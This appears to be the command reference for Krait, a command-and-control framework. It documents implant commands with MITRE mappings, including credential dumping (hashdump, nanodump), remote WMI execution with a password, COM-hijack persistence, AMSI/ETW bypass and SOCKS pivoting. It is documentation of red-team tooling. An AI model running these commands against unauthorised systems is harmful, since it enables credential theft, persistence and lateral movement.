← Documentation / Operator Guide

Command Reference

Every operator command with usage, examples, and MITRE mapping

All operator commands available in the Krait console. Commands are entered at the krait> prompt (global) or krait [agent_id]> prompt (session-scoped).

Session Management

CommandUsageDescription
sessionssessionsList all agent sessions with status, transport, hostname, PID, last seen, and lock holder
useuse <id>Lock and switch to an agent session. Prefix match on agent ID is supported. Use --force to override another operator’s lock
backgroundbackgroundRelease the current agent lock and return to session-select mode
renamerename <id> <name>Assign a friendly name to a session (e.g., rename abc12 dc01)
killkill <id>Queue an exit task to a specific agent without switching to it
removeremove <id>Remove a dead or stale session from the session list
graphgraphDisplay the agent topology as an ASCII tree showing parent-child relationships
graph dotgraph dotOutput a DOT-format graph (pipe to graphviz: graph dot | dot -Tpng -o graph.png)

Execution

CommandUsageDescriptionMITRE
<bofname>whoami, ps, sysinfoQueue a BOF by its short name. See BOF Reference for the full listVaries
<bofname> <args>ls C:\Users, cat C:\flag.txtQueue a BOF with argumentsVaries
cmdcmd <command>Run a shell command via cmd.exe /C. Output is capturedT1059.003
powershellpowershell <command>Run a PowerShell command (hidden window, no profile)T1059.001
execute-assemblyexecute-assembly <path> [args]Load a .NET assembly in-memory and execute it. Fork-and-run with full evasion (AMSI/ETW bypass, PPID spoof)T1620
sleepsleep <seconds>Set a one-shot sleep (agent sleeps this long once, then resumes normal interval)-
intervalinterval <seconds> [jitter%]Set the poll interval and optional jitter percentage-
exitexitQueue an exit task — the implant terminates on next poll-
migratemigrate [target_pid]Migrate to a new process via reflective PE mapping. If no PID is given, spawns a sacrificial processT1055
chainchain <cmd1>;<cmd2>;...Chain multiple BOFs into a single task. All execute sequentially on one poll cycle-

File Operations

CommandUsageDescriptionMITRE
downloaddownload <remote> [local]Download a file from the target to the operator hostT1041
uploadupload <local> <remote>Upload a local file to the targetT1105
cdcd <path>Change the remote working directory-
lsls [path]List directory contents (default: current directory)T1083
catcat <path>Display file contentsT1005
cpcp <src> <dst>Copy a file on the target-
mvmv <src> <dst>Move or rename a file on the target-
rmrm <path>Delete a file on the targetT1070.004
mkdirmkdir <path>Create a directory on the target-

Peer-to-Peer (P2P)

CommandUsageDescriptionMITRE
linklink <host> <pipe_name>Connect to an SMB child agent via named pipeT1570
tcp-linktcp-link <port>Listen for a TCP child agent to connect backT1570
unlinkunlink <child_id>Disconnect a child agent from the current parent-

SOCKS Proxy

CommandUsageDescriptionMITRE
socks startsocks start [port]Start a SOCKS5 proxy through the current agent (default port: 1080)T1572
socks stopsocks stopStop the SOCKS5 proxy-
socks statussocks statusShow SOCKS proxy status-

Operator

CommandUsageDescription
listlist or list <category>List available BOFs, optionally filtered by category
queuequeueShow pending tasks for the current agent
resultsresultsShow received task results
savesave <task_id> <path>Save a task result to a local file
stagestage <file>Load an encrypted payload for staged delivery
loglog [n]Show the event log (last n entries, default: all)
timelinetimelineShow the event timeline
redirectorredirectorShow the active traffic profile URIs
operatorsoperatorsShow connected operators and their active sessions
reportreport [path]Export MITRE ATT&CK Navigator JSON layer
pythonpython <script>Run an impacket script through the operator proxy
proxyproxy <command>Run a command through the SOCKS proxy (proxychains)
clearclearClear the console
helphelpShow the command help
quitquitDisconnect the CLI

Multi-Operator Commands

CommandUsageDescription
operatorsoperatorsList connected operators, their connection time, and which agent they’re locked to
use --forceuse <id> --forceOverride another operator’s lock on an agent (they receive a notification)

Using BOFs

BOFs (Beacon Object Files) are called by their short name. Arguments follow the name, separated by spaces.

krait [abc12345]> whoami
krait [abc12345]> ps
krait [abc12345]> ls C:\Users
krait [abc12345]> cat C:\Windows\System32\drivers\etc\hosts
krait [abc12345]> hashdump
krait [abc12345]> nanodump
krait [abc12345]> execute-assembly /opt/Seatbelt.exe -group=all
krait [abc12345]> wmi_exec 10.0.0.5 administrator Password1 "whoami"
krait [abc12345]> persist_comhijack install C:\path\to\proxy.dll

For the full BOF list with arguments and descriptions, see the BOF Reference.

Chaining

Chain multiple commands into a single task that executes sequentially on one poll cycle:

krait [abc12345]> chain whoami;ps;sysinfo;hostname
krait [abc12345]> chain ls C:\Users;cat C:\Users\admin\Desktop\flag.txt

Useful for reducing the number of callbacks when operating over a high-latency transport or when you need multiple recon results from the same poll.